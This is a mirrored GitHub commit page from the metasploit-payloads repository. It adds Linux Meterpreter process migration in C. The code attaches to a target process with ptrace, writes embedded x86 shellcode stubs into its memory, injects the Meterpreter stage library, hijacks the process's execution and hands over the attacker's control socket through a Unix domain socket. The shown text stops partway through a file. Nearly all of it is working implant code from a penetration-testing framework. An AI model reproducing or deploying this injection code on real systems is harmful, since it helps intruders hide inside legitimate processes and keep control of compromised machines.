mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-01-08 14:36:22 +01:00
Land #93, @jvazquez-r7's linux meterpreter process migration
Tested on Ubuntu 14.04 with 32-bit processes, with and without ptrace protections enabled.
This commit is contained in:
commit
9f91b5a921
@ -1,8 +1,87 @@
|
||||
#include "common.h"
|
||||
#include "base_inject.h"
|
||||
#include "passfd_server.h"
|
||||
|
||||
LONG passfd_thread(THREAD *thread) {
|
||||
SOCKET *orig_fd = (SOCKET *)(thread->parameter1);
|
||||
LPSTR sock_path = (LPSTR)(thread->parameter2);
|
||||
|
||||
if (orig_fd == NULL || sock_path == NULL)
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
|
||||
return passfd(*orig_fd, sock_path);
|
||||
}
|
||||
|
||||
DWORD
|
||||
remote_request_core_migrate(Remote *remote, Packet *packet)
|
||||
{
|
||||
return (EOPNOTSUPP);
|
||||
char *sock_path;
|
||||
Packet * response = NULL;
|
||||
pid_t pid = 0;
|
||||
library l;
|
||||
DWORD result = 0;
|
||||
SOCKET orig_fd = 0;
|
||||
|
||||
dprintf("[MIGRATE] Getting packet data");
|
||||
|
||||
response = packet_create_response(packet);
|
||||
|
||||
// Get the process identifier to inject into
|
||||
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);
|
||||
// Get the target process architecture to inject into
|
||||
l.arch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
|
||||
// Get the length of the library buffer
|
||||
l.length = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
|
||||
// Receive the actual migration library buffer
|
||||
l.data = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
|
||||
// Get the library entry point
|
||||
l.entry_point = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ENTRY_POINT);
|
||||
// Get the library base address
|
||||
l.base_addr = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_BASE_ADDR);
|
||||
// Get the path for the local socket
|
||||
sock_path = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_SOCKET_PATH);
|
||||
|
||||
dprintf("[MIGRATE] Migrating to %d, Arch: %d, Library Length: 0x%x, Library Base Address: 0x%x, Library Entry Point: 0x%x, Socket path : %s",
|
||||
pid,
|
||||
l.arch,
|
||||
l.length,
|
||||
l.base_addr,
|
||||
l.entry_point,
|
||||
sock_path);
|
||||
|
||||
orig_fd = remote_get_fd(remote);
|
||||
|
||||
dprintf("[MIGRATE] Creating passfd thread to share socket %d", orig_fd);
|
||||
|
||||
THREAD *socket_thread = thread_create((THREADFUNK)passfd_thread, &orig_fd, sock_path, NULL);
|
||||
|
||||
if (!socket_thread) {
|
||||
dprintf("[MIGRATE] Failed to create the passfd thread");
|
||||
packet_transmit_response(ERROR_INVALID_HANDLE, remote, response);
|
||||
return ERROR_INVALID_HANDLE;
|
||||
}
|
||||
|
||||
if (!thread_run(socket_thread)) {
|
||||
thread_destroy(socket_thread);
|
||||
dprintf("[MIGRATE] Failed to run the passfd thread");
|
||||
packet_transmit_response(EINVAL, remote, response);
|
||||
return EINVAL;
|
||||
}
|
||||
|
||||
dprintf("[MIGRATE] Injecting library");
|
||||
result = inject_library(pid, &l);
|
||||
if (result != 0) {
|
||||
thread_join(socket_thread);
|
||||
thread_destroy(socket_thread);
|
||||
packet_transmit_response(result, remote, response);
|
||||
return result;
|
||||
}
|
||||
|
||||
thread_join(socket_thread);
|
||||
thread_destroy(socket_thread);
|
||||
|
||||
dprintf("[MIGRATE] return success");
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
323
c/meterpreter/source/common/arch/posix/base_inject.c
Normal file
323
c/meterpreter/source/common/arch/posix/base_inject.c
Normal file
@ -0,0 +1,323 @@
|
||||
/*!
|
||||
* @file posix/base_inject.c
|
||||
* @brief Definition for functions which provide meterpreter library injection.
|
||||
* @details These functions are used in order to migrate meterpreter, using
|
||||
* ptrace to debug the new process host, allocate memory for the
|
||||
* meterpreter stage and a new stack, and give control. If something
|
||||
* fails while migration, it should be able to restore the new host
|
||||
* process and continue execution. Once migration is completed, the
|
||||
* original process code isn't executed anymore, this could be solved,
|
||||
* maybe, using clone to execute the meterpreter stage in a new LWP.
|
||||
*/
|
||||
#include "base_inject.h"
|
||||
#include "ptrace.h"
|
||||
|
||||
/*
|
||||
xor %ebp,%ebp
|
||||
mov $0xffffffff,%edi
|
||||
mov $0x22,%esi
|
||||
mov $0x7,%edx
|
||||
mov $0x120000,%ecx
|
||||
mov $0x20040000,%ebx
|
||||
mov $0xc0,%eax
|
||||
int $0x80 ; mmap
|
||||
int $0x3 ; trap to allow the debugge to control
|
||||
*/
|
||||
/*! @brief mmap code stub */
|
||||
UCHAR mmap_stub[] =
|
||||
"\x31\xed" \
|
||||
"\xbf\xff\xff\xff\xff" \
|
||||
"\xbe\x22\x00\x00\x00" \
|
||||
"\xba\x07\x00\x00\x00" \
|
||||
"\xb9\x00\x00\x12\x00" \
|
||||
"\xbb\x00\x00\x04\x20" \
|
||||
"\xb8\xc0\x00\x00\x00" \
|
||||
"\xcd\x80" \
|
||||
"\xcc";
|
||||
|
||||
/*
|
||||
push $0x4 ; Options (4 => PASS_FD, 1 => DEBUG)
|
||||
push $0xffffffff ; Socket
|
||||
mov $0x5a5a5a5a,%eax ; Entry Point
|
||||
call *%eax
|
||||
xor %eax, %eax
|
||||
inc %eax
|
||||
int $0x80 ; exit
|
||||
*/
|
||||
/*! @brief call code stub */
|
||||
UCHAR call_stub[] =
|
||||
"\x68\x04\x00\x00\x00" \
|
||||
"\x68\xff\xff\xff\xff" \
|
||||
"\xb8\x5a\x5a\x5a\x5a" \
|
||||
"\xff\xd0" \
|
||||
"\x31\xc0" \
|
||||
"\x40" \
|
||||
"\xcd\x80";
|
||||
|
||||
/*!
|
||||
* @brief Saves the process state.
|
||||
* @param pid Process identifier to save.
|
||||
* @param s Pointer to \c state to store code and registers.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
save_state(LONG pid, state *s) {
|
||||
LONG result = 0;
|
||||
LONG i = 0;
|
||||
|
||||
if (s == NULL)
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
|
||||
result = getregs(pid, &(s->regs));
|
||||
if (result != 0)
|
||||
return result;
|
||||
|
||||
result = read_memory(pid, s->regs.eip, s->memory, MMAP_STUB_SIZE);
|
||||
if (result != 0)
|
||||
return result;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Restores the process state and detaches.
|
||||
* @param pid Process identifier to restore.
|
||||
* @param s Pointer to \c state with code and registers.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
restore_state(LONG pid, state *s) {
|
||||
unsigned long *mem_ptr = NULL;
|
||||
LONG i = 0;
|
||||
LONG result = 0;
|
||||
|
||||
if (s == NULL)
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
|
||||
mem_ptr = (unsigned long *)(s->memory);
|
||||
|
||||
if (mem_ptr == NULL)
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
|
||||
result = write_memory(pid, s->regs.eip, mem_ptr, MMAP_STUB_SIZE);
|
||||
if (result != 0)
|
||||
return result;
|
||||
|
||||
result = setregs(pid, &(s->regs));
|
||||
if (result != 0)
|
||||
return result;
|
||||
|
||||
result = detach(pid);
|
||||
if (result != 0)
|
||||
return result;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Waits for a trap from the debugged process.
|
||||
* @param pid Process identifier to wait.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval TRUE indicates sigtrap received.
|
||||
* @retval FALSE indicates any other event.
|
||||
*/
|
||||
BOOL
|
||||
wait_trap(LONG pid) {
|
||||
LONG wait_status = 0;
|
||||
|
||||
waitpid(pid, &wait_status, 0);
|
||||
|
||||
if (WIFSTOPPED(wait_status) && WSTOPSIG(wait_status) == SIGTRAP)
|
||||
return TRUE;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Executes an stub of code on a debugged process.
|
||||
* @param pid Process identifier where to execute code.
|
||||
* @param addr Process addr to store the code.
|
||||
* @param stub Pointer to code stub to execute.
|
||||
* @param stub_size ptrace friendly length of the stub to execute.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 indicates success.
|
||||
*/
|
||||
LONG
|
||||
execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size) {
|
||||
LONG i = 0;
|
||||
LONG result = 0;
|
||||
|
||||
if (stub_size == 0 || stub == NULL)
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
|
||||
result = write_memory(pid, addr, stub, stub_size);
|
||||
if (result != 0)
|
||||
return result;
|
||||
|
||||
result = cont(pid);
|
||||
if (result != 0)
|
||||
return result;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Allocates memory on a debugged process.
|
||||
* @param pid Process identifier of the debugged process.
|
||||
* @param regs Pointer to the \c user_regs_struct of the debugged process.
|
||||
* @param addr Address to allocate.
|
||||
* @param length Size to allocate.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 indicates success.
|
||||
*/
|
||||
LONG
|
||||
allocate(LONG pid, struct user_regs_struct *regs, unsigned long addr, size_t length) {
|
||||
unsigned long *alloc_code = (unsigned long *)mmap_stub;
|
||||
unsigned long *addr_ptr = (unsigned long *)(mmap_stub + MMAP_ADDR_POS);
|
||||
size_t *length_ptr = (size_t *)(mmap_stub + MMAP_LENGTH_POS);
|
||||
ULONG code_size = MMAP_STUB_SIZE;
|
||||
LONG result = 0;
|
||||
|
||||
if (regs == NULL) {
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
// Fix mmap stub with allocation data
|
||||
addr_ptr[0] = addr;
|
||||
length_ptr[0] = length;
|
||||
|
||||
result = execute_stub(pid, regs->eip, alloc_code, code_size);
|
||||
if (result != 0)
|
||||
return result;
|
||||
|
||||
if (wait_trap(pid) == FALSE)
|
||||
return ECANCELED; // We don't know what failed in the remote process
|
||||
|
||||
result = getregs(pid, regs);
|
||||
if (result != 0)
|
||||
return result;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Redirects execution on a debugged process.
|
||||
* @param pid Process identifier of the debugged process.
|
||||
* @param regs Pointer to the \c user_regs_struct of the debugged process.
|
||||
* @param addr Address where execution should be redirected.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 indicates success.
|
||||
*/
|
||||
LONG
|
||||
call(LONG pid, struct user_regs_struct *regs, unsigned long addr) {
|
||||
unsigned long *alloc_code = (unsigned long *)call_stub;
|
||||
unsigned long *addr_ptr = (unsigned long *)(call_stub + ENTRY_POINT_POS);
|
||||
PULONG addr_options_ptr = (PULONG)(call_stub + OPTIONS_POS);
|
||||
ULONG code_size = CALL_STUB_SIZE;
|
||||
LONG result = 0;
|
||||
|
||||
if (regs == NULL) {
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
// Fix call stub with entry point
|
||||
addr_ptr[0] = addr;
|
||||
if (debugging_enabled == 1) {
|
||||
addr_options_ptr[0] = 5; // Enable Debugging
|
||||
} else {
|
||||
addr_options_ptr[0] = 4; // Enable PASSFD (socket sharing)
|
||||
}
|
||||
|
||||
result = execute_stub(pid, regs->eip, alloc_code, code_size);
|
||||
if (result != 0)
|
||||
return result;
|
||||
|
||||
if (wait_trap(pid) == FALSE)
|
||||
return ECANCELED; // We don't know what failed in the remote process
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Injects meterpreter stage library in a process.
|
||||
* @param pid Process identifier to inject.
|
||||
* @param l Pointer to the \c library to inject.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 indicates success.
|
||||
*/
|
||||
LONG
|
||||
inject_library(LONG pid, library *l) {
|
||||
state s;
|
||||
struct user_regs_struct regs;
|
||||
ULONG library_size = _SIZE_OF(l->length);
|
||||
unsigned long *buf_ptr = (unsigned long *)l->data;
|
||||
LONG result = 0;
|
||||
|
||||
if (l == NULL) {
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
goto end;
|
||||
}
|
||||
|
||||
|
||||
dprintf("[INJECT] Saving state");
|
||||
result = attach(pid);
|
||||
if (result != 0)
|
||||
goto end;
|
||||
|
||||
result = save_state(pid, &s);
|
||||
if (result != 0)
|
||||
goto end;
|
||||
|
||||
memcpy(®s, &(s.regs), sizeof(struct user_regs_struct));
|
||||
|
||||
dprintf("[INJECT] Creating new stack");
|
||||
result = allocate(pid, ®s, NULL, STACK_SIZE);
|
||||
if (result != 0)
|
||||
goto restore;
|
||||
|
||||
dprintf("[INJECT] New stack on 0x%x, fixing registers", regs.eax);
|
||||
regs.esp = regs.eax + STACK_SIZE;
|
||||
regs.eip = s.regs.eip;
|
||||
|
||||
result = setregs(pid, ®s);
|
||||
if (result != 0)
|
||||
goto restore;
|
||||
|
||||
dprintf("[INJECT] Allocating space for the library...");
|
||||
result = allocate(pid, ®s, l->base_addr, l->length);
|
||||
if (result != 0)
|
||||
goto restore;
|
||||
|
||||
if (regs.eax != l->base_addr) {
|
||||
result = EFAULT;
|
||||
goto restore;
|
||||
}
|
||||
|
||||
dprintf("[INJECT] Copying payload to 0x%x", regs.eax);
|
||||
result = write_memory(pid, regs.eax, buf_ptr, library_size);
|
||||
if (result != 0)
|
||||
goto restore;
|
||||
|
||||
dprintf("[INJECT] Fixing registers");
|
||||
regs.eip = s.regs.eip;
|
||||
result = setregs(pid, ®s);
|
||||
if (result != 0)
|
||||
goto restore;
|
||||
|
||||
dprintf("[INJECT] Executing call stub");
|
||||
result = call(pid, ®s, l->entry_point);
|
||||
if (result != 0)
|
||||
goto restore;
|
||||
|
||||
dprintf("[INJECT] The payload has warned successfully, migration has been successfully");
|
||||
result = detach(pid);
|
||||
goto end;
|
||||
|
||||
restore:
|
||||
restore_state(pid, &s);
|
||||
end:
|
||||
return result;
|
||||
}
|
||||
|
60
c/meterpreter/source/common/arch/posix/base_inject.h
Normal file
60
c/meterpreter/source/common/arch/posix/base_inject.h
Normal file
@ -0,0 +1,60 @@
|
||||
/*!
|
||||
* @file posix/base_inject.h
|
||||
* @brief Declarations for functions which provide meterpreter library injection.
|
||||
* @details These functions are used in order to migrate meterpreter, using
|
||||
* ptrace to debug the new process host, allocate memory for the
|
||||
* meterpreter stage and a new stack, and give control. If something
|
||||
* fails while migration, it should be able to restore the new host
|
||||
* process and continue execution. Once migration is completed, the
|
||||
* original process code isn't executed anymore, this could be solved,
|
||||
* maybe, using clone to execute the meterpreter stage in a new LWP.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
/*! Macro to calculate sizes in order to help when writing and reading memory. */
|
||||
#define _SIZE_OF(buf) (buf / sizeof(long)) + (buf % sizeof(long))
|
||||
/*! Length of the mmap code stub. */
|
||||
#define MMAP_STUB_LENGTH 35
|
||||
/*! ptrace friendly size of the mmap code stub. */
|
||||
#define MMAP_STUB_SIZE _SIZE_OF(MMAP_STUB_LENGTH)
|
||||
/*! Position of the length to mmap in the mmap stub. */
|
||||
#define MMAP_LENGTH_POS 18
|
||||
/*! Position of the address to mmap in the mmap stub. */
|
||||
#define MMAP_ADDR_POS 23
|
||||
/*! Length of the call code stub. */
|
||||
#define CALL_STUB_LENGTH 27
|
||||
/*! ptrace friendly size of the call code stub. */
|
||||
#define CALL_STUB_SIZE _SIZE_OF(CALL_STUB_LENGTH)
|
||||
/*! Position of the options flags in the call stub */
|
||||
#define OPTIONS_POS 1
|
||||
/*! Position of the library entry point in the call stub */
|
||||
#define ENTRY_POINT_POS 11
|
||||
/*! Length of the new stack to allocate */
|
||||
#define STACK_SIZE 0x200000
|
||||
|
||||
/*! @brief Container struct for a library to inject and execute. */
|
||||
typedef struct {
|
||||
ULONG arch; ///< Library architecture (x86 => 1)
|
||||
PUCHAR data; ///< Library's raw data
|
||||
ULONG length; ///< Library length
|
||||
unsigned long base_addr; ///< Base address
|
||||
unsigned long entry_point; ///< Entry point address
|
||||
} library;
|
||||
|
||||
/*!
|
||||
* @brief Container struct for a process data.
|
||||
* @details Memory and registers which needs to be restored if library
|
||||
* injection fails.
|
||||
*/
|
||||
typedef struct {
|
||||
struct user_regs_struct regs; ///< Process registers.
|
||||
unsigned long memory[MMAP_STUB_SIZE]; ///< Code memory to restore.
|
||||
} state;
|
||||
|
||||
LONG save_state(LONG pid, state *s);
|
||||
LONG restore_state(LONG pid, state *s);
|
||||
BOOL wait_trap(LONG pid);
|
||||
LONG execute_stub(LONG pid, unsigned long addr, unsigned long *stub, ULONG stub_size);
|
||||
LONG allocate(LONG pid, struct user_regs_struct *regs, unsigned long addr, size_t length);
|
||||
LONG call(LONG pid, struct user_regs_struct *regs, unsigned long addr);
|
||||
LONG inject_library(LONG pid, library *l);
|
44
c/meterpreter/source/common/arch/posix/passfd_server.c
Normal file
44
c/meterpreter/source/common/arch/posix/passfd_server.c
Normal file
@ -0,0 +1,44 @@
|
||||
/*!
|
||||
* @file passfd_server.c
|
||||
* @brief Definitions for functions which allow to share a file descriptor.
|
||||
*/
|
||||
#include "passfd_server.h"
|
||||
#include "unix_socket_server.h"
|
||||
|
||||
/*!
|
||||
* @brief Shares a \c SOCKET through an unix local domain socket.
|
||||
* @details Shares a \c SOCKET between processes in the same machine. A local
|
||||
* domain socket is used to share the file descriptor. This function
|
||||
* setups a local domain socket socket, listens for a new connection,
|
||||
* sends the \c SOCKET after getting it and finally stops.
|
||||
* @param orig_fd \c SOCKET to share.
|
||||
* @param sock_path File path for the local domain socket.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
passfd(SOCKET orig_fd, LPSTR sock_path) {
|
||||
server_un s;
|
||||
LONG result = 0;
|
||||
|
||||
result = start_server(&s, sock_path);
|
||||
if (result != 0) {
|
||||
dprintf("[PASSFD] Starting server failed");
|
||||
return result;
|
||||
}
|
||||
|
||||
result = accept_connection(&s, 5);
|
||||
if (result != 0) {
|
||||
goto stop;
|
||||
}
|
||||
|
||||
result = send_socket(&(s.client), orig_fd);
|
||||
if (result != 0) {
|
||||
goto stop;
|
||||
}
|
||||
|
||||
stop:
|
||||
stop_server(&s);
|
||||
return result;
|
||||
}
|
||||
|
7
c/meterpreter/source/common/arch/posix/passfd_server.h
Normal file
7
c/meterpreter/source/common/arch/posix/passfd_server.h
Normal file
@ -0,0 +1,7 @@
|
||||
/*!
|
||||
* @file passfd_server.h
|
||||
* @brief Declarations for functions which allow to share a file descriptor.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
LONG passfd(SOCKET orig_fd, LPSTR sock_path);
|
161
c/meterpreter/source/common/arch/posix/ptrace.c
Normal file
161
c/meterpreter/source/common/arch/posix/ptrace.c
Normal file
@ -0,0 +1,161 @@
|
||||
/*!
|
||||
* @file ptrace.c
|
||||
* @brief Definitions for functions providing ptrace helpers.
|
||||
*/
|
||||
#include "ptrace.h"
|
||||
|
||||
/*!
|
||||
* @brief Detaches from the debugged process and restarts it.
|
||||
* @param pid Process identifier to dettach.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
detach(LONG pid) {
|
||||
dprintf("[PTRACE] Dettaching from pid %d", pid);
|
||||
if (ptrace(PTRACE_DETACH, pid, NULL, NULL) == -1) {
|
||||
dprintf("[PTRACE] DETACH failed");
|
||||
return errno;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Attaches to a process to debug it.
|
||||
* @param pid Process identifier to attach.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
attach(LONG pid) {
|
||||
dprintf("[PTRACE] Attaching to pid: %d", pid);
|
||||
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1) {
|
||||
dprintf("[PTRACE] PTRACE_ATTACH failed");
|
||||
return errno;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get registers of the debugged process.
|
||||
* @param pid Process identifier of the debugged process.
|
||||
* @param regs Pointer to \c user_regs_struct to store the registers.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
getregs(LONG pid, struct user_regs_struct *regs) {
|
||||
dprintf("[PTRACE] Getting registers");
|
||||
|
||||
if (regs == NULL) {
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
if (ptrace(PTRACE_GETREGS, pid, NULL, regs) == -1) {
|
||||
dprintf("[PTRACE] PTRACE_GETREGS failed");
|
||||
return errno;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Set registers of the debugged process.
|
||||
* @param pid Process identifier of the debugged process.
|
||||
* @param regs Pointer to \c user_regs_struct with the registers.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
setregs(LONG pid, struct user_regs_struct *regs) {
|
||||
dprintf("[PTRACE] Setting registers");
|
||||
|
||||
if (regs == NULL) {
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
if (ptrace(PTRACE_SETREGS, pid, NULL, regs) == -1) {
|
||||
dprintf("[PTRACE] PRACE_SETREGS failed");
|
||||
return errno;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Continues execution of the debugged process.
|
||||
* @param pid Process identifier of the debugged process.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
cont(LONG pid) {
|
||||
LONG result = 0;
|
||||
|
||||
dprintf("[PTRACE] Executing");
|
||||
result = ptrace(PTRACE_CONT, pid, NULL, NULL);
|
||||
if (result == -1) {
|
||||
dprintf("[PTRACE] PTRACE_CONT failed");
|
||||
return errno;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Writes data to the debugged process memory.
|
||||
* @param pid Process identifier of the debugged process.
|
||||
* @param addr Address of the debugged process to write the contents.
|
||||
* @param contents Pointer to the data to write.
|
||||
* @param size Lenght of contents / \c sizeof(long)
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
write_memory(LONG pid, unsigned long addr, unsigned long *contents, UINT size) {
|
||||
LONG i = 0;
|
||||
|
||||
if (size == 0 || contents == NULL)
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
|
||||
dprintf("[PTRACE] Writing memory");
|
||||
for (i = 0; i < size; i++) {
|
||||
// dprintf("[PTRACE] Writting %x to %x", contents[i], (addr + (i * sizeof(void *))));
|
||||
if (ptrace(PTRACE_POKETEXT, pid, (void *)(addr + (i * sizeof(void *))), (void *)contents[i]) == -1) {
|
||||
dprintf("[PTRACE] PTRACE_POKETEXT failed");
|
||||
return errno;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Reads data from the debugged process memory.
|
||||
* @param pid Process identifier of the debugged process.
|
||||
* @param addr Address of the debugged process to read data from.
|
||||
* @param contents Pointer to the space reserved to store the contents.
|
||||
* @param size Lenght of data to read / \c sizeof(long)
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
read_memory(LONG pid, unsigned long addr, unsigned long *contents, UINT size) {
|
||||
LONG i = 0;
|
||||
|
||||
if (size == 0 || contents == NULL)
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
|
||||
dprintf("[PTRACE] Reading memory");
|
||||
for (i = 0; i < size; i++) {
|
||||
contents[i] = ptrace(PTRACE_PEEKTEXT, pid, (void *)(addr + (i * sizeof(void *))), NULL);
|
||||
if (contents[i] == -1) {
|
||||
dprintf("[PTRACE] PTRACE_PEEKTEXT failed");
|
||||
return errno;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
13
c/meterpreter/source/common/arch/posix/ptrace.h
Normal file
13
c/meterpreter/source/common/arch/posix/ptrace.h
Normal file
@ -0,0 +1,13 @@
|
||||
/*!
|
||||
* @file ptrace.h
|
||||
* @brief Declarations for functions providing ptrace helpers.
|
||||
*/
|
||||
#include "common.h"
|
||||
|
||||
LONG detach(LONG pid);
|
||||
LONG attach(LONG pid);
|
||||
LONG getregs(LONG pid, struct user_regs_struct *regs);
|
||||
LONG setregs(LONG pid, struct user_regs_struct *regs);
|
||||
LONG cont(LONG pid);
|
||||
LONG write_memory(LONG pid, unsigned long addr, unsigned long *contents, UINT size);
|
||||
LONG read_memory(LONG pid, unsigned long addr, unsigned long *contents, UINT size);
|
186
c/meterpreter/source/common/arch/posix/unix_socket_server.c
Normal file
186
c/meterpreter/source/common/arch/posix/unix_socket_server.c
Normal file
@ -0,0 +1,186 @@
|
||||
/*!
|
||||
* @file unix_socket_server.c
|
||||
* @brief Definitions for functions which provide an unix domain socket server.
|
||||
* @details An implementation of an unix domain socket for local communications.
|
||||
* Useful to communicate data between processes. It is used while in
|
||||
* meterpreter migration to share the socket between the old and new
|
||||
* host process.
|
||||
*/
|
||||
#include "unix_socket_server.h"
|
||||
|
||||
/*!
|
||||
* @brief Creates an unix local domain socket and listens on it.
|
||||
* @param s Pointer to the \c server_un to start.
|
||||
* @param sock_path File path for the local domain socket.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
start_server(server_un *s, LPSTR sock_path) {
|
||||
LONG flags;
|
||||
|
||||
if ((sock_path == NULL) || (s == NULL))
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
|
||||
s->timeout.tv_sec = DEFAULT_TIMEOUT; // Default timeout
|
||||
s->timeout.tv_usec = 0;
|
||||
|
||||
dprintf("[UNIX SOCKET SERVER] Setting up the server");
|
||||
if ((s->socket = socket(AF_UNIX, SOCK_STREAM, 0)) == -1) {
|
||||
dprintf("[UNIX SOCKET SERVER] socket failed");
|
||||
return errno;
|
||||
}
|
||||
|
||||
// Set up non blocking mode
|
||||
// http://stackoverflow.com/questions/3444729/using-accept-and-select-at-the-same-time
|
||||
FD_ZERO(&(s->set));
|
||||
FD_SET(s->socket, &(s->set));
|
||||
flags = fcntl(s->socket, F_GETFL, 0);
|
||||
fcntl(s->socket, F_SETFL, flags | O_NONBLOCK);
|
||||
|
||||
s->local.sun_family = AF_UNIX;
|
||||
|
||||
memset(s->local.sun_path, NULL, UNIX_PATH_MAX);
|
||||
strncpy(s->local.sun_path, sock_path, UNIX_PATH_MAX - 1);
|
||||
unlink(s->local.sun_path);
|
||||
|
||||
if (bind(s->socket, (struct sockaddr *)&(s->local), sizeof(struct sockaddr_un)) == -1) {
|
||||
dprintf("[UNIX SOCKET SERVER] bind failed");
|
||||
return errno;
|
||||
}
|
||||
|
||||
if (listen(s->socket, 1) == -1) {
|
||||
dprintf("[UNIX SOCKET SERVER] listen failed");
|
||||
return errno;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Accepts a new connection.
|
||||
* @param s Pointer to the \c server_un listening.
|
||||
* @param timeout Time, in seconds, to wait for a new connection (default = 5).
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
accept_connection(server_un *s, DWORD timeout) {
|
||||
connection_un *c;
|
||||
LONG rv;
|
||||
|
||||
if (s == NULL) {
|
||||
dprintf("[UNIX SOCKET SERVER] NULL server");
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
c = &(s->client);
|
||||
|
||||
if (c == NULL) {
|
||||
dprintf("[UNIX SOCKET SERVER] NULL server");
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
if (timeout != -1) {
|
||||
s->timeout.tv_sec = timeout;
|
||||
}
|
||||
|
||||
dprintf("[UNIX SOCKET SERVER] Waiting for a new connection");
|
||||
rv = select(s->socket + 1, &(s->set), NULL, NULL, &(s->timeout));
|
||||
|
||||
if(rv == -1) {
|
||||
dprintf("[UNIX SOCKET SERVER] select failed");
|
||||
return errno;
|
||||
} else if (rv == 0) {
|
||||
dprintf("[UNIX SOCKET SERVER] timeout")
|
||||
return ETIME;
|
||||
}
|
||||
|
||||
if ((c->socket = accept(s->socket, (struct sockaddr *)&(c->remote), &(s->timeout))) == -1) {
|
||||
dprintf("[UNIX SOCKET SERVER] accept failed");
|
||||
return errno;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Close an existent connection.
|
||||
* @param c Pointer to the \c connection_un to close.
|
||||
* @returns Indication of success or failure.
|
||||
* @retval 0 Indicates success.
|
||||
*/
|
||||
LONG
|
||||
close_connection(connection_un *c) {
|
||||
if (c == NULL) {
|
||||
dprintf("[UNIX SOCKET SERVER] NULL connection");
|
||||
return ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
|
||||
if (close(c->socket) == -1){
|
||||
dprintf("[UNIX SOCKET SERVER] Close connection failed");
|
||||
return errno;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Stops a listening server.
|
||||
* @param c Pointer to the \c server_un to stop.
|
||||
